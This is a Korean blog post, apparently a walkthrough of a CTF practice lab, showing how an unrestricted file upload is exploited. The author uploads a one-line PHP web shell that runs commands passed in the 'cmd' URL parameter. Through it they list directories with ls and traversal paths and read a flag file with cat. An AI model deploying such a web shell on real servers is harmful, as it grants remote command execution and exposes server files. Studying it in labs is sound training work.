본문 바로가기

보안지식/File Upload

File Upload - 실습 1번 풀이

안녕하세요 전에 올린 글에 토대로 파일 업로드 공격 실습을 하겠습니다!

 

 

실습 페이지입니다.

 

일단 로그인을 하고 게시판 같은 곳에 아무 파일을 올려보겠습니다.

 

우선적으로 저희는 다운로드 경로를 알아야지만 공격이 가능하거든요!

 

이렇게 올리겠습니다.

 

 

그리고 다운로드 경로 즉 저희가 올린 파일이 서버에서 어느 파일에 저장이 되었는지 알아내겠습니다.

 

알아내는 방법은 간단해요

 

다운로드 버튼에 우클릭 누르시고 링크 복사 해보겠습니다.

 

http://ctf.segfaulthub.com:8989/webshell_1/files/hello/123.txt.txt

 

이렇게 나오네요!

 

또는 버프 스위트로 intercept on 하시고 다운로드 눌러도 됩니다.

 

좋아요.. 이제 한 번 php문을 짜고 보내보겠습니다.

 

우선 저희는 모의해킹을 하는 거 잖아요? 그러니깐 시작부터 웹 쉘 코드는 안 짜겠습니다.

 

<?php
	echo "Script Running!";
?>

 

그리고 글을 올려보겠습니다.

 

만약 사이트가 정상이라면 막겠죠?

 

됬네요!

 

그다음에 URL에 저희가 찾은 파일 저장한 경로에 이 php가 있겠죠?

 

http://ctf.segfaulthub.com:8989/webshell_1/files/hello/test.php

 

 

쨘!

 

이렇게 저희가 올린 php문이 나옵니다.

 

한 번 저희가 공격자라고 생각을 하고 웹 쉘을 올려보겠습니다.

한 줄로 공격한다고 해서 한 줄 웹 쉘이라고 불려요

 

<?php
	echo system($_GET['cmd']);
?>

 

이렇게 GET으로 cmd에 명령을 받고 system으로 실행한 결과를 출력하는 겁니다.

서버가 직접하는 거니 막히는 게 없겠죠!

 

올리고

 

한 번 그 다운로드 경로로 들어가보겠습니다.

 

http://ctf.segfaulthub.com:8989/webshell_1/files/hello/attack.php

 

아무런 값을 보내지 않았으니 흰 배경만 보이실 거예요

 

깨끗

 

한번 url에 cmd=ls 보내보겠습니다.

 

ls은 리눅스 명령어입니다. 현재 위치에 있는 파일들을 출력하는 겁니다.

 

이렇게 서버측 파일이 보입니다.

 

이제 이렇게 명령어를 실행할 건데 저는 버프 스위트에 repeater을 이용하겠습니다. 좀 더 편하거든요

 

그리고 이제 ls+../ 해보겠습니다. 상위 폴더를 보는 거죠 +는 url에 띄어쓰기를 뜻해요

 

여러 폴더가 있네요

 

또 상위 폴더로 가보겠습니다.

 

ls+../../

 

dj?

 

important.data가 있네요 한 번 봐보겠습니다.

 

ls+../../important_data

 

아하..

 

여기에 저희 실습페이지의 답이 있네요

 

cat+../../important_data/flag.txt 하면 답이 보입니다.

 

이게 완전 기본적인 파일 업로드 공격입니다. 이 한 줄 웹 쉘 말고 다른 공격용 쉘 코드 삽입해도 됩니다.

근데 모의해킹을 하는 거지 진짜로 해킹을 하는 게 아닌 이상 쓰일 일은 없을 것 같네요.

 

실습 문제는 2번까지 있습니다. 2번은 다음 글에 작성을 하겠습니다.

감사합니다